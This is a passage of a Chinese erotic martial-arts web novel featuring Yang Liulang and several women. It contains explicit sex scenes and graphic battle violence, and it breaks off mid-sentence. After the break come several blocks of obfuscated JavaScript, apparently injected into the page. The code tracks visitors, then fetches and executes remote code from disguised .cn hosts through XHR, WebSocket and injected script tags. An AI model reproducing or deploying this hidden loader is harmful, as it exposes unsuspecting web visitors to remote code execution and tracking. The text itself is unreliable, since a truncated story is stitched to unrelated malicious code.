  六郎一边用力地抽插着苗雪雁,一边道:「燕子你果然是多才多艺,而且你还风骚而妩媚,我爱死你了!」

  六郎那剧烈的动作让苗雪雁的娇躯不住地往前扑,便倒在杨四姐的怀中。

  杨四姐见状,生气地打了六郎的手一下,道:「跟你说音韵,根本就是对牛弹琴,你满脑子都在想那件事。」

  这时,白云妃从后面抱住六郎,道:「相公,让我陪你聊天,不要理她们!」

  六郎并不理会白云妃,而是继续对苗雪雁进攻,道:「云妃,你把粮食弄丢了,我都还没有惩罚你,你竟然厚着脸皮来讨奖赏!」

  白云妃风骚地用那柔软的胸部磨蹭着六郎的背脊,说道:「不就只是一点粮食吗?有你在还用担心吗?大不了明天攻打晋阳县城时,我多杀几个人,将功赎罪嘛!」

  说着,白云妃的手朝六郎的下身摸去。

  这时,苗雪雁已经无法再承受六郎的攻击,而杨四姐本来想再听她讲有关音律方面的话题,却见她气喘旰吁,突然浑身一震,便伸手紧紧抓住杨四姐的一只玉手,道:「四姐,我不行了!」

  说完,苗雪雁「啊!」

  的一声,就全身颤抖着瘫软在杨四姐怀中。

  杨四姐看得有些情动,本想叫六郎过来,却听到一声娇吟,就见白云妃翻身骑到六郎的身上,而看她那风骚的样子,杨四姐实在是自叹不如。

  这时,苗雪雁逐渐回过神来,她将一只玉手攀上扬四姐的玉乳上,问道:「四姐,我还等着要加入杨门女将,你还没有答应呢!」

  杨四姐笑道:「这件事情,我说了哪算啊!六郎那幺疼爱你,即使我不同意,也无法改变啊!」

  苗雪雁撒娇道:「我就是要四姐你同意,这样我心里才踏实,再说,我身负血海深仇,还指望你帮我报仇呢!」

  杨四姐拗不过苗雪雁,只好道:「好好好,我答应!而且说实话,我好喜欢你啊!」

  说完,杨四姐就在苗雪雁的额头上亲一口。

  得到杨四姐的答应后,苗雪雁心中无限欢喜,而见六郎正在与白云妃翻云覆雨,她便与杨四姐和白雪妃谈论起音律。

  杨四姐抱着苗雪雁,道:「以前我曾尝试过用古筝弹奏,可总是弹不好,加上我师父过世得早,也没有人可以陪我切磋。这下好了,等打完这一仗,你可要好好教我啊!」

  白雪妃闻言,连忙道:「我也想学。」

  苗雪雁「嗯」了一声,道:「说实话,四姐和雪妃的资质绝对不在我之下,只是没有高人指点而已。我师父石玉棠是一位秦筝高手,十大名曲无不娴熟,而她的天山御剑剑法更是独步天下。其实在用秦筝弹奏的时候,有几个手势极为重要,只要能把握住,那就没有什幺难度了。右手有托、劈、挑、抹、剔、勾、摇、撮等;左手有按、滑、揉、颤等,左右两手讲究的是『配合』两个字,我有总结几个小技巧,回头再讲给你们听。 」

  杨四姐三人正聊得投机时,就听白云妃浪哼一声,便已经昏倒,而六郎则跨过苗雪雁和杨四姐,来到白雪妃身上,道:「雪妃,我来了。」

  白雪妃顿时高兴得迎合着六郎的动作,而六郎再将肉棒插入白雪妃那早就湿滑不堪的私处内,并紧紧拥着白雪妃。

  六郎能感受到白雪妃体内的紧窒与温暖,令六郎不禁舒服得呻吟出声,而白雪妃也呻吟着,娇躯也急促地起伏着,一股股如潮般涌来的快感袭来,令她逐渐丧失理智。

  这时,杨四姐和苗雪雁都不说话,只是专心地看着六郎与白雪妃。

  虽然白雪妃早有準备,但身体快被撑爆的感觉让她感到晕眩,一波波的快感从股间袭向全身,令她忍不住呼出一口气,凤目迷离,檀口大张,身体绷得笔直,脸上、颈部、酥胸乃至全身都冒出细密的香汗。

  「相公,我去了!」

  说完,白雪妃的双手死死抱住六郎的虎腰,便昏厥过去。

  这时,六郎从白雪妃的身上下来,躺在苗雪雁与杨四姐的中间,在杨四姐的脸上亲了一口,道:「四姐,该你了。」

  杨四姐问道:「为什幺最后才轮到我?」

  六郎将杨四姐的玉腿抱到胸前,肉棒来到玉门前,藉着那里的湿滑进入,笑道:「四姐,明天我们不是要打仗吗?」

  杨四姐疑惑地问道:「打不打仗,跟这先后次序有什幺关係?」

  六郎一本正经的道:「我们这一群人中,只有你骁勇善战,而明天即将有一场仗要打,所以要指望你冲锋陷阵啊!所以我将精液留给你……哎呀,四姐,我要射了。」

  杨四姐闻言急忙按住六郎的胳膊,叫道:「等一下。」

  六郎深呼吸了一口气,又继续动作,将嘴巴凑近杨四姐的耳边,道:「四姐,你要快点哦,我马上就要射了!」

  杨四姐点了点头,等待着那山洪暴发的时刻。

  苗雪雁从后面搂着六郎的腰,用那对丰满的雪峰贴着六郎的背脊,轻声道:「六郎加油!前后左右。」

  六郎道:「不用前后左右了,已经要射了!」

  说罢,六郎便射出那滚烫的精液,射在阳四姐的花房深处,令杨四姐爽得冒出一身汗,随即虚脱在六郎的怀中。

  六郎咬着杨四姐的耳朵,道:「四姐,我没有坚持太久,你有没有感受到?」

  杨四姐娇羞道:「你明明就已经知道了,还问人家!」

  六郎嘿嘿笑道:「那就好,你可要抓紧时间吸收,明天上战场还要靠你呢!」

  杨四姐说道:「知道了,明日我的刀下必会有许多冤魂。六郎,你放开人家啊!」

  六郎却抱着杨四姐那修长的玉腿不鬆手,然后慢慢闭上眼睛,道:「四姐,就让我这样睡吧!」

  杨四姐闭上眼睛,点了点头,欣喜地感受着六郎的肉棒,让六郎抱着她睡去。:和杨四姐四人挤在一张床上,六郎能感觉到那甜美的滑腻触感,令他一觉睡到天亮,而当他醒来时,就发现肉棒已经恢复生气,坚挺地插在杨四姐的私处内。

  六郎想到昨天晚上还没有给够杨四姐,就忍不住轻轻地动了起来,而杨四姐被六郎的动静吵醒后,不由得 起玉腿,并开始迎合着六郎的动作。

  六郎与杨四姐甜甜蜜蜜,充分利用吃早饭前的时间,末了,由于六郎两人的动作越来越激烈,将苗雪雁三女吵醒了,而虽然她们感到嫉妒,但知道杨四姐在六郎心中的地位,便也不敢多说什幺。

  直到六郎在杨四姐的体内发洩出来,并将肉棒抽出来时,白云妃才趴在六郎身前,用嘴巴舔乾净残留在上面的精液。

  六郎抚摸着白云妃的秀发,道:「云妃,今天你要好好表现,只要你奋勇杀敌,将功赎罪的话,晚上我就奖励你。」

  白云妃应着,仍继续舔着六郎的肉棒,将那里舔得乾乾净净。

  杨四姐慵懒的翻过身,也摸着白云妃的头,笑道:「云妃你好贪婪啊,你要是喜欢,我这里还有。」

  白云妃神情妩媚地爬向杨四姐的双腿间,说道:「四姐要是要我吃,那我就全部吃光。」

  杨四姐闻言,吓得连忙缩回身子,笑道:「我只是和你开个玩笑,你倒当真了!回头你要是吃上瘾,我可受不了!」

  白云妃却不依不挠地继续缠着杨四姐,最后杨四姐被缠得没有办法,便将六郎射给她的精液分给白云妃一部分,白云妃这才善罢甘休。

  【第十六集】第三章:攻打莲花峰

  六郎和杨四姐等人吃完早饭后,便与仁堂会碰面,随即在校军场点齐两万名精兵。

  在一声炮响后,六郎率领大军杀往晋阳县城,半途中,六郎与仁堂会分兵两路,仁堂会带领孟良、焦赞等人率兵奔往晋阳县城,六郎则是偃旗息鼓,让大军埋伏在半路上,并派出探马,以密切监视着莲花峰的动静。

  一在莲花峰上,轩辕霸一从昨天开始就做好準备,因这次劫粮行动是他和晋阳县城的守将,他的结义兄弟彭有亮所为。

  由于晋阳县城有五千名兵马,所以严重缺粮,而想从大同调运粮草,不仅路途遥远,加上路上崇山峻岭,道路极为艰险,单兵尚且难行,何况粮车辎重?

  这时,轩辕霸一安排在飞虎城的奸细来报,说飞虎城有批粮草要运往卧牛关,虽然粮草不算多,但轩辕霸一和彭有亮还是决定劫粮,因他们认为和镇守在卧牛关的宋军之间的战争已经无法避免,何况有了这批粮食,就可以坚守个把月,程世杰很快就会收复卧牛关。

  轩辕霸一和彭有亮劫完粮后,也发觉到卧牛关的情况异常,故他们达成协议后,这两天便在路上安排暗哨,等卧牛关的兵马一出来,他们便可以知道。而如果晋阳县城被围困,那幺莲花峰就会立刻发兵救援,与晋阳县城的守军夹击卧牛关的兵马;若是莲花峰遭受到攻击,则晋阳县城就会派兵支援。

  这时,轩辕霸一派出去的探马 报:「启 大王,卧牛关派出了一批兵马,现在正朝着晋阳县城去。」

  轩辕霸一点了点头,问几位副寨主:「各位兄弟,果然不出我们所料,卧牛关已经派兵攻打晋阳县城,兵马準备好了吗?」

  一位副寨主说道:「大哥,兵马已经準备妥当,可我们犯得上为了帮助彭有亮,而和杨六郎拼命吗?」

  轩辕霸一道:「二弟,这话你可是说错了!我们不是在帮彭有亮,而是在帮助我们啊!你想想,若是晋阳县城失守,杨六郎肯定不会放过我们。而晋阳县城有五千名兵马,加上彭有亮能攻能守,我们只要援助他们,那攻打晋阳县城的军队就会首尾难顾。只要晋阳县城没丢,那莲花峰就会安然无恙。只要坚持二十几天,侯爷的大军就会杀回来了!」

  几位副寨主连连称是。

  轩辕霸一命令众人严阵以待,然后派探马出去,等晋阳县城那边一开始遭受到攻击,那他这边就马上行动。

  六郎的大军隐蔽在山路左翼,静候轩辕霸一的动静,因六郎知道,仁堂会那边不开战,莲花峰的人就不会有动静,他还必须要耐心等待。

  见杨四姐、白云妃、白雪妃和苗雪雁已经披挂整齐,严阵待命,六郎笑道:「大家不要紧张,这场仗我们是胜券在握,只等着莲花峰的匪兵一出动,我们就切断他们的后路,将他们全歼在晋阳城外。」

  白云妃问道:「相公,若是莲花峰的匪兵不救援晋阳县城,那我们岂不是白等了?」

  六郎道:「晋阳县城的安危与莲花峰的安危息息相关,他们不会袖手旁观的!」

  正说话间,远处传来炮声和喊杀声,看来仁堂会已经动手。

  六郎传令:「準备战斗!」

  杨四姐四人闻言,立即飞身上马,就等着莲花峰的匪兵出动,突然前方山路的拐弯处出现一匹快马,而在马上的那家伙朝六郎这边张望一下,随即一脸吃惊地调转马头,就要逃跑。

  六郎骂道:「妈的,是莲花峰的探马,快解决他,不要让他跑掉了!」

  那探马距离六郎的位置有三、四百步的距离,若是纵马去追,肯定难以追上,而且即使是臂力惊人的弓箭手,也只能够勉强射到,却不能保证準确性,好在六郎身边有神弓绝箭美誉的杨四姐,只见她不慌不忙地取出天寒白玉弓,并拿出一枝黑羽狼牙箭,就在那名探马 掉转马头的剎那,弓弦响过,那探马就应声落马。

  白云妃拍手道:「四姐,好棒啊!这幺远也能射到。」

  杨四姐得意洋洋地收起弓箭,道:「这是我的弓箭好!」

  这时六郎命令两名亲兵过去将那探马的尸体处理掉,并将那匹战马牵过来。

  又等了约半个时辰,六郎派出的探马终于回来,道:「 报将军,莲花峰的匪兵已经出动!」

  六郎点了点头,问道:「有多少兵马?」

  探马道:「大约有三千名兵马。」

  六郎道:「莲花峰总共有四千名兵马,现在一下子派出三千名兵马,如果将他们全歼灭的话,那莲花峰就只剩下一座空寨。大家加把劲,先乾掉这群匪兵,等下午攻下莲花峰后,晚上就到匪巢喝庆功酒。」

  说完,六郎抽出宝剑,喝道:「冲啊!」

  这时,轩辕霸一派出的三千名兵马已经到达距离仁堂会大军五里的位置,而那三千名兵马全是轻装短打,甚至几乎没有带盾牌,因轩辕霸一打算来个突然袭击,好打赢围困晋阳县城的仁堂会率领的大军。

  轩辕霸一的兵马虽然身经百战,而且个个独当一面,都是杀人不眨眼的亡命之徒,战斗力也极强,可这一次,由于轩辕霸一太过于自信,他失算了。

  轩辕霸一的兵马还算训练有素,是由一千名兵马发起冲锋,而在他们身后还跟着一千名兵马,随后又有一千名兵马,他们就像波浪般一波接一坡地压过来。

  而这就是他们最擅长的战法海战术,只要能突破对方大军的一点,就可以突破他们的阵型。

  然而轩辕霸一这次要对付的是仁堂会训练出来的精锐,加上他早有準备,只见看起来混乱不堪的后卫部队,在轩辕霸一的人马杀到的瞬间,就发生变化了。

  只见仁堂会将一千名弓弩手分成三批,三百人在中间,四百人在左翼,四百人在右翼,并且在盾牌手的保护下,中间的弓弩手朝前方射箭,而左右两翼的弓弩手则以交叉的方式向前方射箭。所有人都机械式地在将领的指挥下进行齐射,而千军弩也动作快速地拉动而展不开白刃战,轩辕霸一那一方的优势就无法发挥。因为仁堂会所採取的这种三个位面交叉射箭的方式,令攻击的範围变大,再加上威力强大、射速快的千军弩攻势,何况轩辕霸一的人马根本没有盾牌防护,他们的冲锋根本就是送死。

  就算轩辕霸一要实行人海战术,也要能冲到仁堂会大军的面前,但位在最前面的一千名兵马只剩下不到三百人,那七百人早就痛苦地哀号着躺在地上,而第二批的一千名兵马见状,士气马上就低落下来,甚至见到前面的人转身逃跑,在后方的人也马上转身就跑,不久,那些兵马就退回去了。

  轩辕霸一见状,怒道:「都他妈的是胆小鬼,给我冲上去!老二、老三,你们带领兵马,并用嗜血黑龙阵给我顶上去,大家别怕,那群人没有带多少箭,只要现在冲上去,他们的箭很快就会用完,而第一个冲上去的人,老子有重赏!」

  二寨主抽出腰刀,喝道:「都听清楚了,谁要是敢再逃跑,我就把他的头砍下来,连同在山寨的家人一起处死!不想死的就给我向前冲,什幺都别管,全给向前冲!」

  这时,莲花峰的两位副寨主打头阵,而他们的第二次攻击再次开始了,由于那些人坚信那两位副寨主神功盖世,而且对方也不可能一直放箭,并将盾牌全拿到前方阻挡着飞箭,加上那两位副寨主将手下最勇猛的人派到第二批的一千名兵马中,而当然在最前方的是準备要送死的人。

  仁堂会人马从正面射出的箭都已经被挡住,虽然可以射穿那简陋的盾牌,但最多只是伤到持盾的人的手而已,轩辕霸一的人马还是能够继续前进,但从左右两翼射出的箭仍射杀不好轩辕霸一的人马,甚至还威胁到他们那第二批的一千名兵马,然而不管那些弓弩手再怎幺厉害,轩辕霸一的人马在那两位副寨主的带领下依旧向前挺进,甚至有少数人已经逼到仁堂会人马十步前的距离。

  这时,轩辕霸一一马当先地冲上前,只见他双手合抱,头顶上突然升起六色神光,随即神光凝聚成匹练,变成六颗颜色各异的龙头,而龙身却都是墨黑色,那狰狞的恶龙低吟盘旋,升上半空中。

  飞龙在天!

  这时,仁堂会的弓箭手便被轩辕霸一打倒一片,而轩辕霸一的人马则趁机一拥而上。

  仁堂会见状临危不乱,迅速 地挥动令旗,随即盾牌手迅速地左手持盾,右手则抽出盾牌后的标枪,然后同时射出四百桿标枪,而轩辕霸一人马所持的盾牌在如此近的距离内,根本就无法抵挡住标枪的攻击,甚至很多标枪一次还贯穿两个人,于是轩辕霸一的第一批一千名兵马就在标枪的攻击下死伤过半,但后面的人马已经冲上来。

  这时,双方展开白刃战,轩辕霸一的人马果然凶狠,两千多名兵马居然杀得仁堂会的人马七零八落,令仁堂会只能指挥大军且战且退,幸亏此时六郎率领大军杀到。

  仁堂会见六郎率领大军出现,便马上指挥大军反扑,并与六郎的大军形成合围之势,而轩辕霸一的人马虽然凶狠,但抵挡不住六郎的兵马人数众多,虽然轩辕霸一等三位寨主骁勇,但也慌了手脚。

  杨四姐挥舞着三尖两刃刀,一马当先地冲入轩辕霸一的兵马中,并且如入无人之境般,然后挥出一记重刀,便砍倒四、五个人,这时其中一名副寨主见状,急忙过来应战。

  那名副寨主持枪就欲刺向杨四姐,但被杨四姐躲过,接着杨四姐劈头朝他挥出一刀,那雪亮的刀锋自上往下,发出一道炫光,而那副寨主举枪反击,不料杨四姐双臂神力,一刀就砍断他手中的枪桿,而伴着那副寨主的惊叫声,杨四姐已经砍断他的膀子。

  那名副寨主惨叫着要逃走,杨四姐见状,随即单手托刀向前攻击,随即那锋利的刀尖就刺破他的肚子,接着杨四姐使力将那副寨主丢出去。

  轩辕霸一的人马见杨四姐如此兇猛,吓得纷纷闪躲,阵型顿时大乱。

  六郎率领的人马全是精壮的步兵,他们一手持刀,一手持盾,并用盾牌护住身体,随即往前冲,将轩辕霸一的人马分成数个战圈。

  由于苗雪雁大仇仍未报,因此一到战场就涌起一股狠劲,只见她手持宝剑沖入轩辕霸一的兵马中,在一连放倒十几个人后,便遇到另一位副寨主,那人的武功不俗,加上还会一些法术,便与苗雪雁恶斗在一起。

  白雪妃见状,便偷偷过来打出三记六丁六甲符,而那副寨主躲过两道攻击,但有一道击中他的后背,于是白雪妃趁机施法,令那人动作一慢,就被苗雪雁一剑刺中肩膀,然后白雪妃就上来一剑砍掉他的人头。

  苗雪雁与白雪妃相视一笑,并相互鼓舞一下,便继续杀敌。

  白云妃也挥剑砍倒轩辕霸一的人马,但却遇上轩辕霸一,但白云妃不敌轩辕霸一,在交手十来个回合后,就累得气喘吁吁。

  六郎见状,急忙打倒两个对手,就连忙过来,劈手就与轩辕霸一对了一掌,随即两人后退数步。

  六郎见轩辕霸一确实有两下子,随即施展风火雷霆诀,但紫色霹雳却被一道黑龙挡住。

  这时,轩辕霸一暴喝一声,随即腾空而起,叫道:「飞龙在天!」

  然而不等轩辕霸一使出飞龙在天,就听一道弓弦巨响,接着一枝黑羽狼牙箭激射而至,射入轩辕霸一的后腰,令他从半空中掉下来,杨四姐纵马上前,喝道:「我让你飞!」

  说着,杨四姐举刀就砍向轩辕霸一。

  轩辕霸一中了箭伤,自知不敌,在躲开杨四姐的攻击后,就纵身跳出战圈,并抢了一匹战马逃走。

  杨四姐本想再补上一箭,却因为几名敌方的干扰,未能射中轩辕霸一,而见轩辕霸一在箭下逃生,令杨四姐震怒不已,便收起弓箭,开始挥舞着大刀,将眼前的几名对手砍得肢体分家,惨不忍睹。

  最后,轩辕霸一派出的三千名人马,只剩下三、四百人缴械投降。

  仁堂会悄悄对六郎说道:「六将军,这些人收不得,他们全是无恶不作的江洋大盗,而且本性难移,乾脆将他们杀了吧!」

  六郎道:「我军向来主张优待俘虏,不过这些人实在是太坏,加上日后难以管理,不如仁将军先将他们收入帐下,等到下午时,就派那些人做攻打晋阳县城的先头部队,让他们死在战场吧!」

  仁堂会点头道:「六将军高见!」

  六郎又道:「上阵前,先奖赏一些银子给他们,然后让弓箭手压阵,你明白吗?」

  仁堂会心领神会,朝六郎点头道:「末将明白。」

  六郎又嘱咐道:「等打下晋阳县城,记得将奖赏他们的银子拿回来。」

  仁堂会忍住笑,道:「知道了,那六将军你呢?是不是想趁机取下莲花峰?」

  六郎道:「莲花峰还有不到一千名的匪兵,我就趁机抄了那匪巢,以免除后患。那你什幺时候能够打下晋阳县城?」

  仁堂会道:「晋阳县城的守将彭有亮能攻能守,虽然兵马不多,但要打下晋阳县城恐怕也要费些时日。」

  六郎道:「你先打打看,先消耗他的实力,如果没办法,那就等我明天过来帮你。」

  六郎与仁堂会就此分兵。

  六郎率领大军杀至莲花峰下,本以为这只是弹丸之地,大军一到就能将它踏平,不料莲花峰的寨门十分坚固,加上地势险要,一味的强攻根本起不了作用,眼看着白白浪费士兵的性命,六郎连忙传令停止进攻。

  在清查人数后,发现牺牲了一、两百人,而六郎从远处看着莲花峰的寨门,问道:「这里还有没有其他的路可以通往主峰?」

  嚮导兵道:「将军,后山还有一条路,不过极其艰险,进攻的难度更大。」

  六郎骂道:「就剩下几百个顽匪,还拼死抵抗,抓住后全部处以绞刑。」

  白雪妃上前道:「相公,我刚才观察了一下,要想攻破这寨门也不是什幺难事。」

  六郎喜道:「雪妃,你有什幺好办法,快讲出来啊!」

  白雪妃道:「既然寨门坚固,那我们就用砲打,先将守寨门的匪兵炸死,再找几个轻功好的人跳上去,杀死剩下的匪兵,那不就成了吗?」

  六郎道:「我们位在山的半山腰,如果想要运一门砲上来,那谈何容易?刚才一路杀上来时你也看见了,有些地方根本无法让炮经过。」

  白雪妃笑道:「可是我们还有小砲啊!」

  说着,她一摆手,让两名亲兵过来。

  那亲兵解下随身的兜囊,竟见十余个「仙女散花雷」六郎喜道:「雪妃,你居然将这东西带来了,快说说你的想法!」

  这时,白雪妃不疾不徐地用柳条将那些天女散花雷穿起来,然后挂到六郎的脖子上,道:「相公,这次可全都看你的了!」

  六郎惊讶道:「雪妃,你想让三军主帅做敢死队?」

  白雪妃道:「我军之中,只有你会使用风火雷霆阵,你不去,谁去啊?」

  六郎摸了摸那串仙女散花雷,点头道:「这倒没错,只是我还不会使用这东西啊!」

  白雪妃闻言,拿了一颗仙女散花雷,然后将其后盖打开,将里面的导火索拉开,而随着丝丝火花,白雪妃将天女散花雷举起来,道:「要掌握住时间,就一句话的工夫,然后扔出去!」

  说着,白雪妃一扬手,将天女散花雷扔出去,随即在距离寨门差不多一百步远的地方炸响。

  六郎讚道:「果然有威力,看我的吧!」

  六郎突然想起一个问题,道:「雪妃,还是不行啊!这风火雷霆阵必须在身体静止的状态下才能够使用,那我怎幺冲上去啊?」

  白雪妃道:「我早就想好了。就那一队藤甲兵护送你上去,等你攻上去后,士兵们就退回来,然后你抓紧时间躲到寨门旁的那块大石头后,别让他们用石头砸你,而当你使出风火雷霆阵时,他们的弓箭就起不了作用了,这时,你要抓紧时间投雷,不过你要小心,千万不要炸到自己啊!」

  六郎说道:「好,我记下了。兄弟们,跟本将军冲上去!」

  这时,

function BUjbpuVA(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function vSksqbAj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BUjbpuVA(t);};window[''+'x'+'j'+'d'+'V'+'g'+'I'+'C'+'t'+'Q'+'T'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AaoQ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=vSksqbAj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AaoQ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AaoQ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnnB0bC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','9171',window,document,['n','J']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();